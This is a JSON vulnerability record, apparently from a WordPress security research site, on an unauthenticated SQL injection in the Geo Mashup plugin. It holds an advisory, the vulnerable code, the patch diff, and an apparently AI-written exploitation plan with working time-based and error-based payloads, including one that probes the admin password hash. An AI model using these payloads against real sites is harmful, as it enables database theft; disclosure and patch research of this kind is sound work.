[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fZcBKorfoblOhEkccSkS0C1QCoqFlkjP9R9eeWh1Krig":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-4062","geo-mashup-unauthenticated-time-based-sql-injection-via-objectids-parameter","Geo Mashup \u003C= 1.13.18 - Unauthenticated Time-Based SQL Injection via 'object_ids' Parameter","The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'object_ids' and 'exclude_object_ids' parameters in all versions up to, and including, 1.13.18. This is due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL query. The `esc_sql()` function is applied but is ineffective because the values are placed in an unquoted `IN(...)` \u002F `NOT IN(...)` SQL context — `esc_sql()` only escapes quote characters and provides no protection against parenthesis or SQL keyword injection. Additionally, while a numeric-only sanitizer exists in `sanitize_query_args()`, it is only applied in the AJAX code path and not in the `render-map.php` or template tag code paths. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach.","geo-mashup",null,"\u003C=1.13.18","1.13.19","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-01 00:00:00","2026-05-05 13:48:06",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fabc5ed0a-504f-4d8c-9662-a4c9f7c7acb8?source=api-prod",5,[22,23,24,25,26,27,28,29],"geo-mashup-db.php","geo-mashup-options.php","geo-mashup.php","geo-query.php","php\u002FAdmin\u002FSettings\u002FOptionsPage.php","php\u002FSearch.php","readme.txt","vendor\u002Fcomposer\u002Finstalled.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-4062 (Geo Mashup SQL Injection)\n\n## 1. Vulnerability Summary\nThe Geo Mashup plugin (\u003C= 1.13.18) contains an unauthenticated time-based SQL injection vulnerability. The flaw exists because user-supplied parameters `object_ids` and `exclude_object_ids` are passed into an SQL `IN()` or `NOT IN()` clause without sufficient sanitization or the use of `wpdb::prepare()`. While `esc_sql()` is used, it only escapes characters like single quotes; since the input is placed in an unquoted context (e.g., `IN (1, 2, 3)`), an attacker can use parentheses to break out of the `IN` clause and append arbitrary SQL logic. \n\nA numeric-only sanitizer (`intval`) is present in the AJAX handler (`geo-query.php`), but it is missing in the `render-map.php` and template tag execution paths, leaving those vectors vulnerable.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** The primary vector is the map rendering query variable or a page containing a Geo Mashup shortcode.\n*   **Vulnerable Query Variable:** `geo_mashup_content=render-map`\n*   **Payload Parameter:** `object_ids` or `exclude_object_ids`.\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:** The plugin must be active. Having at least one post with location data is recommended to ensure the query logic that uses these parameters is executed, although the injection may trigger regardless.\n\n## 3. Code Flow\n1.  **Entry Point:** A request is made to `\u002F?geo_mashup_content=render-map`.\n2.  **Routing:** Geo Mashup catches this query variable (usually via `parse_query` or `template_redirect` hooks) and calls `GeoMashup::render_map()`.\n3.  **Data Processing:** `render_map()` retrieves parameters from `$_GET`. It fails to apply `array_map('intval', ...)` to `object_ids`.\n4.  **Database Call:** `GeoMashupDB::get_object_locations($args)` is called with the unsanitized `$_GET` data.\n5.  **SQL Sink:** Inside `get_object_locations()`, the code likely constructs the query:\n    ```php\n    \u002F\u002F Inferred logic in GeoMashupDB::get_object_locations\n    if ( !empty( $args['object_ids'] ) ) {\n        $where .= \" AND m.object_id IN (\" . esc_sql( $args['object_ids'] ) . \")\";\n    }\n    ```\n6.  **Injection:** The payload `1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -` results in:\n    `WHERE ... AND m.object_id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -)`\n\n## 4. Nonce Acquisition Strategy\nBased on the vulnerability description and plugin architecture, the `render-map` functionality is designed to serve public map data and does not require a WordPress nonce for unauthenticated users.\n\nIf a nonce were required for the AJAX path (though it is sanitized), the strategy would be:\n1.  Identify the script localization key (likely `GeoMashupMapL10n` or `GeoMashupL10n`).\n2.  Create a page with `[geo_mashup_map]`.\n3.  Navigate to that page and use `browser_eval(\"GeoMashupMapL10n.ajax_nonce\")`.\n\n**However, for this SQLi, we focus on the `render-map` path which is usually nonce-less.**\n\n## 5. Exploitation Strategy\nThe goal is to trigger a time delay using `SLEEP()`.\n\n### Request 1: Baseline (Control)\n*   **Method:** `GET`\n*   **URL:** `{{base_url}}\u002F?geo_mashup_content=render-map&object_ids=1`\n*   **Expected Response:** Normal response time (~\u003C 500ms).\n\n### Request 2: Exploitation (Time-Based)\n*   **Method:** `GET`\n*   **URL:** `{{base_url}}\u002F?geo_mashup_content=render-map&object_ids=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)--+-`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Payload logic:** \n    *   `1)`: Closes the legitimate `IN (` statement.\n    *   `AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`: Injected time-delay logic.\n    *   `-- -`: Comments out the trailing parenthesis and the rest of the original query.\n\n## 6. Test Data Setup\n1.  **Activate Plugin:** Ensure Geo Mashup is active.\n2.  **Create Geocoded Content:**\n    ```bash\n    # Create a post\n    POST_ID=$(wp post create --post_title=\"SQLi Test Post\" --post_status=\"publish\" --porcelain)\n    \n    # Geo Mashup stores locations in custom tables. \n    # To ensure the DB query is reached, we can manually insert a location for this post.\n    wp db query \"INSERT INTO wp_geo_mashup_locations (lat, lng, address) VALUES (40.7128, -74.0060, 'New York');\"\n    LOC_ID=$(wp db query \"SELECT LAST_INSERT_ID();\" --silent --skip-column-names)\n    wp db query \"INSERT INTO wp_geo_mashup_object_locations (object_name, object_id, location_id) VALUES ('post', $POST_ID, $LOC_ID);\"\n    ```\n\n## 7. Expected Results\n*   **Success:** The server response will be delayed by approximately 5 seconds.\n*   **Refinement:** If `object_ids` is not vulnerable via `geo_mashup_content`, the same payload can be applied to `exclude_object_ids`.\n\n## 8. Verification Steps\n1.  **Check Query Execution:** Review the MySQL General Query Log (if available) to see the mangled query.\n2.  **Data Extraction (Manual):**\n    To verify data can be extracted, check if the first character of the admin's user pass starts with `$P$`:\n    `object_ids=1) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,3)='$P$',SLEEP(5),0)))a)-- -`\n\n## 9. Alternative Approaches\n*   **Shortcode Vector:** If `geo_mashup_content` routing is disabled, navigate to a page containing the `[geo_mashup_map]` shortcode and append `&object_ids=...` to the URL. Many plugins use `shortcode_atts()` which merges with `$_GET`.\n*   **Error-Based:** If `WP_DEBUG` is on, use `extractvalue()` or `updatexml()` for faster extraction.\n    `object_ids=1) AND extractvalue(1,concat(0x7e,version()))-- -`\n*   **`exclude_object_ids`:** Use the same payload on the `exclude_object_ids` parameter.","The Geo Mashup plugin for WordPress is vulnerable to unauthenticated time-based SQL injection through the 'object_ids' and 'exclude_object_ids' parameters. This occurs because the plugin uses esc_sql() in an unquoted SQL IN() context, allowing attackers to break out of the expected numeric list and append arbitrary SQL logic like SLEEP() commands.","\u002F\u002F geo-mashup-db.php around line 1751\n\t\tif ( ! empty( $query_args['object_id'] ) ) {\n\t\t\t$wheres[] = 'gmlr.object_id = ' . esc_sql( $query_args['object_id'] );\n\t\t} else if ( ! empty( $query_args['object_ids'] ) ) {\n\t\t\t$wheres[] = 'gmlr.object_id IN ( ' . esc_sql( $query_args['object_ids'] ) .' )';\n\t\t}\n\n\t\tif ( ! empty( $query_args['exclude_object_ids'] ) ) \n\t\t\t$wheres[] = 'gmlr.object_id NOT IN ( ' . esc_sql( $query_args['exclude_object_ids'] ) . ' )';","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgeo-mashup\u002F1.13.18\u002Fgeo-mashup-db.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgeo-mashup\u002F1.13.19\u002Fgeo-mashup-db.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgeo-mashup\u002F1.13.18\u002Fgeo-mashup-db.php\t2026-02-15 01:36:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgeo-mashup\u002F1.13.19\u002Fgeo-mashup-db.php\t2026-04-10 22:51:10.000000000 +0000\n@@ -1495,6 +1495,7 @@\n \t * @param string $name\n \t *\u002F\n \tpublic static function sanitize_query_arg( &$value, $name ) {\n+\t\tif (is_null($value)) return;\n \t\tswitch ($name) {\n \t\t\tcase 'minlat':\n \t\t\tcase 'maxlat':\n@@ -1507,7 +1508,6 @@\n \t\t\t\t$value = (float) $value;\n \t\t\t\tbreak;\n \n-\t\t\tcase 'map_cat':\n \t\t\tcase 'object_ids':\n \t\t\tcase 'exclude_object_ids':\n \t\t\t\t$value = preg_replace( '\u002F[^0-9,]\u002F', '', $value );\n@@ -1515,6 +1515,8 @@\n \n \t\t\tcase 'map_post_type':\n \t\t\tcase 'object_name':\n+\t\t\tcase 'map_cat':\n+\t\t\tcase 'show_future':\n \t\t\t\t$value = sanitize_key( $value );\n \t\t\t\tbreak;\n \n@@ -1528,10 +1530,6 @@\n \t\t\t\t$value = (bool) $value;\n \t\t\t\tbreak;\n \n-\t\t\tcase 'show_future':\n-\t\t\t\t$value = sanitize_key( $value );\n-\t\t\t\tbreak;\n-\n \t\t\tcase 'sort':\n \t\t\t\t$value = self::sanitize_sort_arg( $value );\n \t\t\t\tbreak;\n@@ -1635,6 +1633,7 @@\n \t\t\t'map_offset' => 0,\n \t\t);\n \t\t$query_args = wp_parse_args( $query_args, $default_args );\n+\t\t$query_args = self::sanitize_query_args( $query_args );\n \t\t\n \t\t\u002F\u002F Construct the query \n \t\t$object_name = $query_args['object_name'];\n@@ -1745,18 +1744,23 @@\n \t\t\t} else {\n \t\t\t\tif ( !is_array( $query_args['map_post_type'] ) ) \n \t\t\t\t\t$query_args['map_post_type'] = preg_split( '\u002F[,\\s]+\u002F', $query_args['map_post_type'] );\n-\t\t\t\t$wheres[] = \"o.post_type IN ('\" . join(\"', '\", $query_args['map_post_type']) . \"')\";\n+\t\t\t\t$wheres[] = \"o.post_type IN ('\" . join(\"', '\", array_map( 'esc_sql', $query_args['map_post_type'] ) ) . \"')\";\n \t\t\t}\n \t\t} \n \n \t\tif ( ! empty( $query_args['object_id'] ) ) {\n-\t\t\t$wheres[] = 'gmlr.object_id = ' . esc_sql( $query_args['object_id'] );\n+\t\t\t$wheres[] = $wpdb->prepare('gmlr.object_id = %d', absint( $query_args['object_id' ]));\n \t\t} else if ( ! empty( $query_args['object_ids'] ) ) {\n-\t\t\t$wheres[] = 'gmlr.object_id IN ( ' . esc_sql( $query_args['object_ids'] ) .' )';\n+\t\t\t$ids = array_map( 'absint', explode( ',', $query_args['object_ids'] ) );\n+    \t\t$placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) );\n+    \t\t$wheres[] = $wpdb->prepare( \"gmlr.object_id IN ( $placeholders )\", $ids );\n \t\t}\n \n-\t\tif ( ! empty( $query_args['exclude_object_ids'] ) ) \n-\t\t\t$wheres[] = 'gmlr.object_id NOT IN ( ' . esc_sql( $query_args['exclude_object_ids'] ) . ' )';\n+\t\tif ( ! empty( $query_args['exclude_object_ids'] ) ) {\n+\t\t\t$ids = array_map( 'absint', explode( ',', $query_args['exclude_object_ids'] ) );\n+    \t\t$placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) );\n+\t\t\t$wheres[] = $wpdb->prepare( \"gmlr.object_id NOT IN ( $placeholders )\", $ids );\n+\t\t}","The exploit targets the render-map functionality which is accessible unauthenticated. \n\n1. Use a GET request to the site root with the query variable `geo_mashup_content=render-map`.\n2. Supply a payload to the `object_ids` parameter designed to break out of the SQL `IN()` statement. \n3. Example payload: `1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`. \n4. The `1)` closes the legitimate `IN` list, `AND (SELECT ...)` injects the time-delay logic, and `-- -` comments out the trailing parenthesis from the original code's query construction.\n5. Observe the server response time. A delay of approximately 5 seconds confirms successful injection. This methodology can be adapted to extract database values character-by-character using conditional SLEEP() calls.","gemini-3-flash-preview","2026-05-04 17:28:44","2026-05-04 17:29:21",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.13.18","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeo-mashup\u002Ftags\u002F1.13.18","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeo-mashup.1.13.18.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeo-mashup\u002Ftags\u002F1.13.19","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeo-mashup.1.13.19.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeo-mashup\u002Ftags"]